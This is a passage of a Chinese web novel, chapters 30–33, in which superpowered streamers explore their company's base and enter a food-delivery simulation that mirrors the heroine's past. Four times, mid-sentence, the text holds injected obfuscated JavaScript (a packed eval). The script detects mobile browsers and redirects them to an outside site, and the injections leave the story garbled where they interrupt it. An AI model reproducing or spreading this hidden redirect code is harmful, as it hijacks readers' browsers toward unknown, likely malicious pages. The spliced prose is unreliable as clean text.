“我有参与。”孟晚的嘴唇抿得更紧了,在岑今继续开口之前,果断转身向外走去,“我还有工作,先回去了。” 说完,她的身影已经消失在了员工入职处的门外。 孟晚说得委婉,但也承认了HR三姐妹不是自然生产的三胞胎人类,而是培育的人造人,她们的异能,大概率就是“继承”自孟晚。 岑今眯起眼睛。 异能在这个世界出现不过三年,英菲尼迪不仅研发了能够开发异能者潜能的模拟舱,还实现了在人造人身上“复制”异能,甚至是“改进”异能——英菲尼迪的技术水平,超前得有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361466|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些古怪了。 她向凯西道了别,下楼向自己的房间走去。 远远的,她就看到B124的门口竖着两道人影——看身形,像是林思妍和谈闻。 “中午好呀,岑今~”林思妍听到脚步声,转过头来温温柔柔地向她招手,“昨天睡得好吗?” 谈闻也转了过来,苍白的脸上带着一如既往且浮于表面的笑意,没有说话。 “睡满十小时,神清气爽。”岑今的手掌迎上她的手,和林思妍击了个莫名其妙的掌。 林思妍今天穿了一身纯白的长裙,精心打理过的黑色长发垂在腰际,看起来完全就是个不谙世事、纯真善良、家境优渥的女大学生。这样好的女孩,怎么就被英菲尼迪薅来做这个打打杀杀又前途未卜的异能主播了呢? 岑今叹了口气:“如果你还想继续进入副本的话,要不要考虑一下和我们组队?” 林思妍对上岑今那种‘想要拯救失足少女’的沉痛眼神,忍不住笑了:“我来就是为了赚钱的,当然要继续啦。我要和你们组队!” 岑今的眼神转为了然,也许是她家中遇到什么变故了,才让她不得不读书读到一半就出来赚钱养家。她拍拍林思妍的肩膀,在这个两极分化的社会,想要赚钱还真是不容易。 于是,加上林思妍好友之后,她转头问安安静静等待的谈闻:“你也是来赚钱的吗?” 谈闻拢了拢剪裁考究、做工精美的夹克外套,不经意间露出腕间一看就很贵的复古重工手工手表,说:“我最不缺的就是钱。” “那你给我捐点吧。” “那你给我捐点吧。” 岑今和林思妍齐刷刷地伸出了她们戴着光脑的手臂。 谈闻的笑容不变,不过看起来比之前要情真意切一点:“好啊,我发红包,大家拼手气。” 岑今读懂了他的言外之意——他也想加入她的队伍。 谈闻一句话里拐出了山路十八弯,“拼手气”的意思是他要发群红包;“大家”的意思是这个群里要有刚刚伸手的岑今和林思妍存在,但不只有她俩,还有他们共同认识的其他人;他要能发红包,就得先加入这个群——而这个群,就是岑今的队伍群。 岑今佩服自己的阅读理解能力。 “欢迎谈老板加入工人团队!”岑今加上了谈闻的好友,迅速把两人拉进了大群。 【咱们工人有力量(4)】 欢迎林思妍加入群聊 【路阳】:新队友,撒花撒花!!! 【姜月月】:欢迎新队友。 【咱们工人有力量(5)】 欢迎谈闻加入群聊 【谈闻】:<红包> 【路阳】:还有这种好事?谢谢老板!!! 【林思妍】:谈老板说话算话,大气大气~ 【姜月月】:谢谢老板。 岑今默默领取了最后一个红包,拆开一看——夺,夺少? 红包> 30.维修日 8888新币。 她用手肘捅了捅林思妍,林思妍也是满脸的不敢相信,用手势给她比了4个8。 原来不是拼手气红包,而是给每个人都发了8888新币,他们工人群体之中混入了一个地主。 林思妍咽下了惊讶,对两人说:“我去楼下吃饭,你们要来吗?” “我还有点事要和岑今讨论,”谈闻上前一步,“一会儿大家一起吃?我请客。” 林思妍又惊讶了。她左瞟一眼,右瞟一眼,竖起手指点了点两人,给出了一个肯定句:“你俩背着大家,有小秘密。” 岑今按下林思妍的手:“我们只是比较爱加班罢了。”她知道,谈闻肯定是想说之前被弹出副本的事。 “工贼。”林思妍挤了挤眼睛,留下一句,转身走了。 岑今左右看了看,走廊上偶尔还是会有人经过,这个畅通又暴露的地方,总归不适合谈论这种事。 “如果你不介意的话,要不我们进屋说?” 谈闻微笑着点点头,他当然不介意。 岑今领着他进门,两人客气地坐在沙发两头,一副商务会谈的架势。 “我最后被强制退出了,你应该也是吧?”岑今弯下腰,手臂撑在双腿上,手指轻轻敲打着桌面。 “对,就在你说完要去博物馆外面看看之后。” 两人对视一眼,谈闻敛去了漫不经心,眼神中难得有几分认真。 岑今皱起眉头,声音沉了下来:“所以,我们在模拟舱体验中的一举一动,都会受到监视。” “在这里也许也会。” “我刚住进来的那天检查过,起码房间里没有藏着摄像头。”岑今望天,“你说,他们不让我逛去博物馆外面,是怕我发现博物馆是真的,还是怕我发现博物馆是假的?” 没有等谈闻回答,她就自己接了下去:“我参加的第一个副本,有位大哥在副本里重伤昏迷了,我本来以为他会像我们这次这样被强制退出,但回到现实之后,我问了,没有一个人见过他。” 她已经验证了,系统任务结束之后,直播会结束,副本并不会结束。所以那位大哥,也就是胡家明,大概率还留在第一个副本里,又或者是死在了第一个副本里。 “模拟舱接入的是我们的意识,虽然副本中的□□损伤不会带入现实,但意识的死亡却是真正的死亡。”谈闻手里又浮起了六面骰,他盯着滚动的骰子,不知道在想些什么。 “我有一个疯狂的念头。我们的意识不是被连接到了虚拟的副本中,”岑今顿了顿,“而是被传送到了——” 她无声地念出四个字:平、行、世、界。 房间里寂静无声,电子时钟沉默地跳到了下一个数字,岑今听见自己的心脏正在砰砰跳动。 忽然,两人的光脑提示音在同一时间活泼地响起。 【咱们工人有力量(5)】 【林思妍】:地下四层大餐厅,C8桌,等大家哦! 【路阳】:聚餐好!!林老师我来了! 【姜月月】:已到。 “走吧,我们也下去吧。”岑今起身,没有继续刚才的话题。他们坐在这里再怎么分析,也无法得出结论。有些问题的答案,只能亲身去探索。 “好。” 英菲尼迪这处基地的配置非常齐全,电梯按键显示地下一共有五层。岑今现在知道的是,地下一、二层是异能主播的房间,地下三层是活动中心,地下四层则是一整层的餐饮大杂烩。 从电梯门出来,迎面就是两列香气勾人的夜市小吃摊。摊主的吆喝声此起彼伏,恍然给人一种回到地上、回到小时候那个经济繁荣的时代的错觉。 “炸灵感菇!五新币一份!一份五新币!” “野生羊肉串,香气四溢!野生羊肉串,快来一串解馋意!” 她上次休息的那两天,几乎把这些摊位吃了个遍。在南岸习惯了喝营养液维生的生活,在这里看到冒着烟的锅、闻到真实的油烟气,岑今感动得都快要掉下眼泪。 现在正是饭点,地下四层很是热闹,来来往往觅食的有异能主播,也有英菲尼迪的其他员工。岑今一路上先是碰见了许久不见的深蓝,又迎面遇上了蒋琳和陈小明。 深蓝依旧是雷厉风行的飒爽姿态,点点头和岑今打了招呼;蒋琳的眼下印出了两个大黑眼圈,不知道有没有进入第二个副本。 林思妍他们所在的C区,是自助餐区。两人到的时候,不大的圆桌上已经堆了三大盘满满当当的美食。 “两位劳斯,毫慢啊!”路阳刚把一大块带红的鲜嫩牛排塞进嘴里,招呼岑今二人过来一起吃。 姜月月端端正正地坐在一旁,背脊挺得笔直。她一手拿刀,一手拿叉,正在优雅地肢解一只烤得喷香的芝士大虾,吃相和路阳形成了鲜明的对比。 “看来昨天休息得不错啊,一个个胃口都这么好。”岑今扫了一眼桌上的战况,啧啧两声,在林思妍身边坐下,谈闻也跟着她坐了下来。 她随手拿起一个纸杯蛋糕,转了转眼珠:“既然这样——明天进副本?” “嗯?你没有看到系统公告吗?”林思妍正低头吸着果汁,闻言抬眉看向她。 “什么系统公告?” 林思妍唤出光脑的投影屏,照着屏幕念了起来:“亲爱的各位异能主播们,大家早上好。为了提升副本的参与体验,我们将于八月二十六日中午十二点起对模拟舱系统进行封闭维护。封闭维护期间,您将无法接入模拟舱完成副本体验,给您带来不便之处,敬请谅解。” 岑今翻了翻光脑的通知,发现十二点的时候确实漏了条消息没看。 她点开,直接拉到最后:“预计恢复时间,八月三十一日中午十二点?” “根据维护工作的进度,维护结束时间有可能提前或延后。模拟舱开放时间也将随之调整,具体请留意系统最新公告。”林思妍声情并茂地朗诵完了公告。 “这下强制休假了。”岑今把蛋糕塞进嘴里,和谈闻对视一眼,模糊地叹了口气。 休假虽好,只是恰巧在他们两个被强制弹出之后进行封闭维护,总有一种这个模拟舱要搞幺蛾子的感觉。 姜月月咽下口中食物,斯文地指正:“是养精蓄锐。” 岑今深以为然地点点头:“没错,这几天大家好好休息。我有种预感,等我们下次进副本,难度可能会升级。” 她昨天晚上和阿莱打了视频,那孩子让她安心干大事,信誓旦旦地保证说会把自个儿照顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377560|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得很好,不用她担心。 岑今在心里盘算了一遍,在基地外她也没有什么别的急事要做,好不容易有这几天空闲,不如趁机把基地内部摸清楚——她甚至连楼层都没跑遍呢。 “对了,你们有人去过地下五层吗?那里是干嘛的?”想到这里,她顺口问道。 路阳积极举手:“还没去,光睡觉了。” 谈闻于是放下夹着鱼生的筷子,给岑今介绍:“地下五层是一半一半,西面是交易市场,东面是医疗舱和诊断室。” “交易市场虽然说是市场,但其实并没有出摊的商家,有的只是一个个独立的交易舱。市场面向英菲尼迪全体员工开放,交易过程完全匿名,卖家可以进入交易舱上架商品,买家则是进入交易舱选购商品,下单后由机器狗派送。 “而且,每次进入交易舱刷新出的商品也是随机的,很有趣的设计。” 岑今的眼睛亮了起来,听起来好有意思。 不过—— “你是什么时候入职的?怎么对这个地方这么了解?”听谈闻的介绍,他仿佛已经是交易市场的常客。 “也不久,就前几天吧。”谈闻低头抿了一口凉水,笑得像个狐狸,“我做梦梦到的。” 显然是在胡说八道。 他不想说,岑今也就没有多追问,她已经迫不及待想要去交易市场逛上一逛了。 “行,那我们吃完饭下去玩玩?” 路阳和林思妍都一脸兴奋地举双手赞成,姜月月矜持地举单手赞成。 谈闻说话算话,悄悄起身主动去结了账,五人的自助一共1200新币,和他发的红包比起来,都只能算零头。 几人如蝗虫过境般收拾完残局,浩浩荡荡地坐电梯下楼。 地下五层没有地下四层的热闹与烟火气,电梯门打开,门外幽蓝的光线中,一行行排列整齐的长方体柜形交易舱进入岑今的视野。 模拟舱长得像剥壳鸡蛋,交易舱长得像双开门冰箱,英菲尼迪的设计风格真是……简约。 “一人一间,大家都进去看看吧。”谈闻上前做了示范,用白色光脑在双开门中央位置一扫,舱门便丝滑地向他敞开。 姜月月忽然停了下来,皱起眉头:“这层楼格外冷。” 路阳差点撞上她,闻言伸脚探了探四周,“好像还真有点,我感觉是脚下比较冷。” “真的吗?我怎么没什么感觉?”林思妍疑惑地回头。 “他俩一个是动物,一个是植物,可能是比我们人类敏感一点。”岑今也没感觉到,但姜月月和路阳都这么说,肯定不是错觉。 她蹲下身,手掌紧贴着地面,闭上了双眼。 意识力向四周探去,周身环境的立体地图,逐渐在她脑海中形成。地下五层是一处圆柱体形状的空间,四周向外是正常的实心结构,脚下地板格外的厚,地板之下,还有一处空旷的空间存在。 岑今歪头凑近地板仔细观察了一阵,又伸手敲了敲,声响闷闷的,应该是隔音材料。 她拍拍手站了起来,得出结论:“这层楼地板很厚,楼下还有地下室。” “对,”一直没出声的谈闻开口了,“公司楼下确实有地下室。” 他垂眼,看不清神情。 31.饿死了么(一) 岑今眯起眼睛,直勾勾地盯着他:“你怎么又知道了?” 第二次了。 这个谈闻,到底是什么来头。 “记不清了,”谈闻抬起头,又是熟悉的不达眼底的笑,“可能也是做梦梦到的吧。” “地下室要怎么下去?是用来做什么的?”岑今迈了两步逼向谈闻,连珠炮似的又抛出两个问题。 姜月月也看向他,语气淡淡的:“做队友应该坦诚。” 谈闻的笑脸毫无破绽:“这个,我是真的记不清了。” 岑今叹了口气。她这群队友,一个个的,感觉都有不少小秘密。 “老师们咱们还买吗?”路阳从林思妍身后探出半个头,抱起手臂搓了搓,“我总觉得凉飕飕的,莫名有点阴森。” “算了吧,改天再来。”岑今瞟向八风不动的谈闻,加重了咬字,“我现在对地、下、室更感兴趣。” 林思妍嗅到趋于紧张的气氛,转身推着路阳就往回走,岔开话题打了个圆场:“哎呀,我中午吃多了有点晕碳,好久没吃过这么多碳水了!你们都不晕碳的吗?” “好晕!好晕!”路阳心领神会地作势要晕倒。 姜月月回头看了岑今一眼,也转身跟了上去。留下谈闻和岑今并排落在最后,和前面的大部队隔着几步的距离。 谈闻忽然偏过头,轻声问岑今:“如果我说,我好像在梦里见过你,你会不会觉得我的话术很老土?” 岑今瞥了他一眼。 “会。” 八月三十一日,中午十二点整。 【系统公告】 「模拟舱系统封闭维护现已结束,新一批次副本正式开放。各位主播可自由接入模拟舱,参与第三轮副本挑战。」 工人小队的成员们本来正窝在岑今房里看动画片,光脑的消息一弹出来,路阳相当自觉地摁灭了投影。 “老师们,我们的假期结束了……”他不情不愿地起身,夸张地皱着脸。 “往好处想,我们马上又要领工资了。”岑今微笑看他。 队友们纷纷各回各家,准备进舱。在模拟舱完全闭合之前,岑今深吸一口气,闭上了眼睛。 这一次,她“看到”的画面很清晰:一间暗室内,巨大的人脑悬浮在浅绿色的营养液中,密密麻麻的管线向下垂落,在地面上蜿蜒成一张细密的网。 人脑缓缓转向她,张开明明不存在的“嘴”,刺耳的啸叫穿透她的耳膜—— “小岑今?岑小今?” 岑今睁开眼,对上林思妍装满担忧的大眼睛。她试着动了动身体,发现自己正躺在林思妍怀里。 另外三颗脑袋挡在她的头顶,路阳激动万分,姜月月皱着眉头,谈闻没有笑容。 “咳,我没事,就是刚刚‘梦到’副本预告片了。”她站起来,扫了一眼四人高度雷同的装扮——身穿亮黄色的冲锋衣套装,头戴看起来质量很一般的骑行头盔,双手裹在宽大的防风手套里。 “你们怎么穿成这样了?” 姜月月冲她抬抬下巴,示意她低头看看自己。 “天呐,我怎么也穿成这样了?像个外卖员。” “恭喜你,答对了副本设定。”谈闻听到她咬牙切齿的“梦到”二字,笑容又回来了,“这个副本,好像想让我们去送外卖。” 送外卖?岑今看向四周。 他们所在的地方,是一座宽广的大厅,中间乌泱泱挤满了和他们穿着相同的人类——外卖员们。大厅正前方悬浮着一张巨大的光屏,左边一列写着“订单内容”,右边一列写着“送餐地址”。 “荧光拌面套餐、压缩烟熏肉套餐、雾霾鸡尾酒调酒套装……”路阳盯着屏幕,眼珠子高速移动,“这滚动速度也太快了吧,怎么刚更新就全被抢单了!” 绿色的新增配送订单会出现在屏幕上方,要是有人接单,那一行订单就会变成灰色,滑落到屏幕下方。屏幕上的内容更迭极快,每一眨眼都不同,看得人眼花缭乱。 大厅的四周,被一格一格整齐排列的出餐窗口填满。窗口上写的不是店名,而是餐品的种类:“面食”“炒菜”“汤煲”“酒精饮品”“面包”…… 窗口前涌动着密密麻麻的戴着头盔的脑袋,肩膀挨着肩膀,大腿贴着大腿,谁也不肯退让,外卖员们就这样推搡向前,争抢着从窗口台面上捞走属于自己的订单,然后拔腿飞奔出大门。 几人脑中同时响起一声清脆的“叮咚”—— 【副本开启:饿死了么】 「欢迎加入“饿死了么”大家庭,成为“饿死了么”平台特聘人类外卖员!我们的原则是:效率第一,利益至上!作为一名处于试用期的新人骑手,你必须打起十二分的精神,抢到更多的单,送完更多的外卖,获取更高的绩效评分。只要送不死,就往死里送——这就是顺利度过试用期的秘诀!你,准备好了吗?」 “新来的?”一个四四方方的机器人不知何时走到了岑今一行人身前。他的“手臂”是一根末端连着抓夹的伸缩管,上面挂着一串亮黄色的手环。 他甩了甩手臂,手环在几人眼前一字排开:“一人一个戴手腕上,你们的接单器。” 岑今接过,啪的一声扣在手腕上,向方块机器人发问:“这位大哥,请问我们新人的绩效是怎么算的?” “根据平台最新颁布的《效率优化细则》,骑手绩效得分将由配送量、配送速度、订单评价等多个维度指标综合决定。” 机器人的金属面罩上显示出一个标准的笑脸表情:“试用期人类骑手将与最新型号的D-600配送机器人进行横向对比,三天之后,绩效得分低于配送机器人平均水平的话——” “判定为试用期考核不通过,平台即刻执行清理。” “清理?是我想的那种清理吗?”林思妍倒吸一口凉气,弱弱地攥紧了岑今的冲锋衣衣角。 姜月月冷笑一声,黄金竖瞳一闪一闪:“清理?你大可以试试。” “请注意,暴力反抗将直接判定为考核失败。”机器人的笑脸变成了鲜红的警告符号,“现在,考核开始!” 话音刚落,几人腕上接单器的滴滴声此起彼伏地响起。 岑今抬起手腕看了一眼,源源不断的新订单不停地从界面上弹出。她随手点了一个,接单成功。 【订单编号:M84】 【订单内容:速溶虾粉泡面】 【送餐地址:垃圾场B7区-霓虹蜂巢C栋102(距您10公里)】 【时间限制:7分钟】 ——这个地址,不是她给阿莱买的小家吗?! 岑今瞳孔骤缩。手环上,00:07:00的倒计时开始跳动,系统光幕也同时在她眼前展开。 【主线任务:终结“饿死了么”平台试用期考核】 【完成进度:0%】 「 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388285|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你上过班吗?你背过不可能完成的kpi吗?你被“转正名额”pua过吗?在这个时代,人们似乎已经渐渐忘记,人是目的,不是工具。在名为效率的铁拳之下,你又是否能够重新夺回属于人类的尊严?」 她没上过班,但终结试用期考核这种事情,听起来就让人热血沸腾。 “已接单,主线任务已开启,你们呢?”倒计时00:06:58,岑今一边发问,一边已经锁定了右前方的面食窗口,半透明传送隧洞正在她双手间缓缓打开。 她还剩不到七分钟的配送时间,点餐人还和现实世界中的阿莱有着同样的住址——无论如何,她都要尽快完成这第一单,先摸清配送机制的运作方式,探一探新副本的虚实。 “我也是,”林思妍扣紧了头盔,准备出发,“我这一单限时15分钟诶,好紧张!” 路阳嘿嘿笑了两声:“我有20分钟,而且路程只有10公里。” “我也是10公里,但限时18分钟。”谈闻看向他订单所属的炒菜窗口,“时间限制或许同时参考了配送路程和食品类型。” 姜月月点点头:“我送的是克隆老鸭汤套餐,8公里,20分钟。” 听完,岑今不想说话了。同样是10公里的距离,她和路阳的配送限时简直是一个天上、一个地下,难道是因为面条比较容易坨吗? “好,那我们先各自配送收集信息,有情况第一时间在群里交流。”留下这句话,她一闪身进了隧洞,再一闪身,已经拎上了她的M84号速溶虾粉泡面,出现在大厅外了。 天色已经黑透。从外面看,大厅是一座孤零零的独栋建筑,杵在一片灰扑扑的废弃工地上,像工厂厂房一样。 霓虹灯管拼出的“饿死了么”四个大字,在大门上方歪歪扭扭排列成一个拱形,一闪一闪地发光。门前宽敞的空地是摩托车停车场,骑手用接单器就能扫开摩托,随时都可以骑走去配送订单。 岑今低头看了一眼倒计时:00:06:32。 她决定放弃摩托,直接用传送隧洞一路传过去。 她在前几天休假的时候测试过,她目前最远的传送距离在一公里左右。也就是说,十公里的路程,开十几次隧洞应该就能完成,可以一试。 岑今深吸一口气,踏进了身前半透明的漩涡。 【送餐地址:垃圾场B7区-霓虹蜂巢C栋102(距您9.1公里)】 【00:06:25】 【送餐地址:垃圾场B7区-霓虹蜂巢C栋102(距您8.3公里)】 【00:06:20】 【送餐地址:垃圾场B7区-霓虹蜂巢C栋102(距您7.0公里)】 【00:06:21】 【送餐地址:垃圾场B7区-霓虹蜂巢C栋102(距您5.9公里)】 【00:06:14】 一连传送了四次,岑今有点头晕眼花,最后一次从洞里钻出来,险些一头扎进繁忙的车流中。 距离不断缩短,时间还有富余。她停下来喘了口气,目光扫过身边的街景。 变形的铁皮桶躺在人行道中间,几个缺胳膊少腿的小机器人泡在黄绿色的水洼里。坑边扔着半张弹簧床垫,海绵芯里长满了恶心的霉斑。 她确信她曾经来过这里,水洼里那个会敲锣的机器人被她捡了回去,此刻应该正好端端地躺在她狗窝的某个角落。 32.饿死了么(二) 这个副本的地图,为什么会和现实世界高度重合? 岑今皱起眉头,抹去滑到了下巴上的汗珠,重新打开传送隧洞,又一鼓作气一连传送了四次。 【送餐地址:垃圾场B7区-霓虹蜂巢C栋102(距您1.5公里)】 【00:04:50】 这次踏出隧洞,岑今差点以为自己回家了。 她正站在垃圾场的边缘,身后是围挡垃圾场的铁丝网,网上破开大大小小的窟窿,弯曲的铁丝参差横亘;身前是一座座破铜烂铁堆成的小丘,表面凝结着泥土和油渍的混合物,底下湿哒哒的水坑,在月色下泛起油腻腻的冷光。 霓虹蜂巢就建在垃圾场外围,不远处,已经可以看见楼房的轮廓。她也住在这里,只不过她住的是A栋,给阿莱买的是C栋。 从喉管到胸肺,又隐隐生出异能透支的灼烧感,岑今咬着牙,再一次在双手间张开半透明的隧洞。 【送餐地址:垃圾场B7区-霓虹蜂巢C栋102(距您0.3公里)】 【00:04:37】 还有不到四百米的距离,她已经能看清霓虹蜂巢黑洞洞的大门。她踢开路面上零散滚落的空罐头,一路小跑着过去,却发现102门前围着几个头发五颜六色、双臂满是刺青的少年。 他们砰砰砸着大门,龇牙咧嘴、张牙舞爪地怪叫。 “小杂种,敢偷你爷爷的东西?!” “哼,我知道你住这儿!再不乖乖出来给爷爷们跪下,现在就把你这破门板儿砸烂!” “她一个野崽,能住上单间,怕不是傍上谁了。要不算了吧,大哥?” 岑今认识他们,垃圾场的小混混,自诩“野狗帮”,成天干点打砸掳掠、偷鸡摸狗的营生。在垃圾场的一角支了片窝棚群居,就宣称那一片的垃圾都归他们所有,谁要是从那里拿东西走,那就是“偷”。 门里传来岑今无比熟悉的小女孩的声音:“谁规定那里的垃圾是归你们的?明明是我自己堂堂正正捡来的,真不要脸,呸!” 是阿莱。 岑今小心地把外卖袋放在身后地面上,然后用了十成十的力道,一脚踹在站在最中间的那个红发少年的背上。红发没有防备,踉跄着往前扑向大门,岑今顺势往下一踩,鞋底狠狠碾过他的后膝。 “哪里来的女人!”旁边的绿毛紫毛黄毛撸起袖子就要上,岑今张开双臂,一左一右两个神秘的隧洞在他们眼前唰地张开。 岑今嗤了一声:“毛都没长齐的小子。” “她、她有异能!”黄毛颤巍巍地往后退了两步,然后没有丝毫犹豫,掉头就跑。 绿毛紫毛明显也慌了,在狭小的楼梯间里极力拧着身体,离岑今的隧洞远远的:“大哥,大哥,先放过这小杂种,我们改天再来!” “放过?”岑今久违地唤出空间壳,调动全身的空间汇聚到手掌上,涌动成厚厚一层,“怎么不问问,我愿不愿意放过你们?” 她不紧不慢地蹲下身,伸手掰过脚下红毛的肩头。红毛像是触到了滚烫的烙铁,嗷的一声痛呼,他的肩头已经被空间壳吞去了一整块皮肉,隐约可见内里森森的白骨。 “这是我的家,你们还要不要‘改天再来’,自己想清楚了。”说完,岑今扬起一脚把红毛踢进了手边的隧洞。 另外两人见大哥就这么莫名其妙地被这个女人踢消失了,一句话都不敢多说,连忙手脚并用地滚出了楼门。 传送隧洞的另一头开在什么地方,她也不知道,红毛自求多福吧。 岑今嫌弃地抹了抹手,低头看了一眼倒计时,00:01:08。 她重新拿起外卖袋,还是温热的。 “女士,你点的外卖到了。”她屏住呼吸,轻柔地叩响房门——如果一会儿开门的真是阿莱,她该为重新见到阿莱而开心,还是该为在副本中见到阿莱而紧张? “岑姐?!”贴着102门牌号的房门打开,小女孩从抵住大门的凳子上跳下来,亮亮的大眼睛里盛满了惊喜,“你怎么来送外卖了呀?” 阿莱的个子比她印象里的要矮上小半个头,脸颊也比她印象里的圆润了一圈,像是一两年前还没长开的模样。 岑今又瞥了一眼写着102的门牌,光秃秃的,没有现在那些古灵精怪的手工装饰,是两年前刚住进来的样子。 她收回眼神,没有回答阿莱的问题,只是笑了笑:“速溶虾粉泡面,请阿莱查收。” 阿莱笑嘻嘻地接过,仰头看她:“这还是我第一次点外卖呢!岑姐要不要来和我一起吃?” 听到这句话,岑今恍然想起,自己以前似乎经历过同样的场景,听过她类似的邀请。 一样是垃圾场的混混堵在阿莱门口,一样是她趁其不备飞起几脚唬住了混混,只不过那次阿莱不是点了外卖,而是自己做了饭,打开门之后,邀请她进去尝尝自己的手艺。 叮咚—— 是岑今的接单器响了。 【订单用时:6分17秒】 【订单评价:五星】 【绩效得分:84分】 她摸摸阿莱的脑袋:“姐姐还要接着去送下一单呢,以后想吃什么都告诉姐姐,姐姐给你点。这种廉价合成餐不健康,你还要长身体呢!” 眼前的阿莱,显然不是现实世界中,当前时间线的阿莱。 但是,从第一个副本后的“雷神之锤”,到模拟舱维护后,第三个副本中熟悉的垃圾场街道,再到两年前的阿莱、曾经目睹的场景、曾经亲身经历的情节…… 模拟舱生产的“内容”,正与她的记忆发生越来越多的重合。又或者说,模拟舱中,开始越来越多地出现她的记忆。 这是怎么回事? 岑今和阿莱道了别,从路边随便找了一辆自行车,熟门熟路地用空间操纵拆了锁,准备蹬回“饿死了么”。 【咱们工人有力量(5)】 【岑今】:我送完第一单了,84分,现在回去接第二单。 【岑今】:你们有没有遇到什么熟悉的场景? 几分钟之后,队伍群里出现了两条新消息。 【咱们工人有力量(5)】 【林思妍】:我踩点完成了!虽然订单评价是五星,但只有80分诶。 【林思妍】:有,我的单主居然是我大学舍友! 看来不止她一个人出现这种情况。 模拟舱肯定有问题,不过来都来了,先把工资赚到手再说。 岑今于是打开了进了这个副本之后就一直没顾上的直播界面。 “工友们好久不见啊。这次的主线任务是——终结万恶的试用期考核!” 【终于又看到主播的正脸了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15404037|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是熟悉的感觉】 【只有我是第一次见吗】 【你不是一个人】 【啊啊啊啊啊我恨试用期!!我转正被卡了!!】 【工人领袖重拳出击,邪恶平台应声倒地】 【笑死,咱们工人领袖和这个本的适配度好高】 【刚刚那几个杀马特小男生好眼熟啊】 【我也觉得眼熟】 【混混不都这个造型?】 【主播是不是和点餐的那个小女孩认识啊】 【那就是个npc吧,怎么认识】 岑今扫了一遍弹幕,脸上的笑容不变,心里却闪过了无数个念头。 直播间网友也觉得眼熟?但愿只是她反应过度了。 “主播打算怎么终结试用期?不能操之过急,需得徐徐图之,主播自有安排。” “放心,作为工人代表,主播一定帮大家把试用期制度打下来!” 她一边蹬车,一边挑选幸运弹幕进行互动。 弹幕唰唰往前飞,打赏值蹭蹭往上涨,速度比之前的两个副本都要快。在打赏值的数字跳到6666的时刻,岑今刚好重新踏进了骑手接单大厅。 【咱们工人有力量(5)】 【岑今】:大家有获得什么线索吗? 【姜月月】:没有。 【路阳】:我只拿到70分呜呜呜呜哇哇 【谈闻】:暂时还没有,一切正常 【林思妍】:没有诶,我准备回来送第二单了! 除了她和林思妍碰上了熟悉的场景,其他几人似乎都一切正常,也没有发现另外的线索。 D-600机器人的平均绩效得分还没有公布,现有信息太少,岑今决定再送一轮。这次她仔细挑了挑,选了一单地址听起来很陌生的。 【订单编号:J57】 【订单内容:机油鸡尾酒】 【送餐地址:新湾区Tower-77层01户(距您21公里)】 【时间限制:35分钟】 不断有骑手挤开她,匆忙地从她两侧经过。他们的神色如出一辙的空洞、疲惫,眼神不是落在订单滚动的大屏幕上,就是落在流水线般不停出餐的窗口上,没有心力分给旁人哪怕一瞥。 汗味、旧衣服的馊味、摩托尾气味、食物的香味、食物的臭味……千奇百怪的味道在热浪中蒸腾,翻滚过大厅的每一个角落。 岑今一拿到餐品,就火速传送到了大门外。这里边的空气,属实是有点糟糕。 接单器自带导航,她目前的位置在地图左上角,点餐人的位置在地图右下角。从大体形态看,副本中城市的布局和现实中的南湾市很像,城区分为上下两半,中间有一条宽阔的大河作分隔。 这一单的时间限制相对没那么紧张,岑今打算骑摩托过去,正好可以多探索探索副本地图。 岑今猛拧油门,老旧的摩托车排气管咳出两声闷响。 她按照导航的规划,压着身子窜进两栋歪楼之间的窄巷,晾在铁丝上的不明衣物抽打着她的头盔。 前面有一连串儿泥泞不平的土坑,流浪汉瘫倒在墙根,身旁滚落着七八个空了的酒瓶。 导航上显示的道路名称、路边建筑的名称,她大多没听说过,但身边这一路的环境,与现实世界肮脏混乱的北岸别无二致。 33.饿死了么(三) 【送餐地址:新湾区Tower-77层01户(距您13公里)】 【00:22:09】 岑今正在熟悉的水下隧道飞驰。 导航显示,这条横贯城市的大河也叫黑水河。从北向南跨越城市,黑水河水下隧道是必经之路。 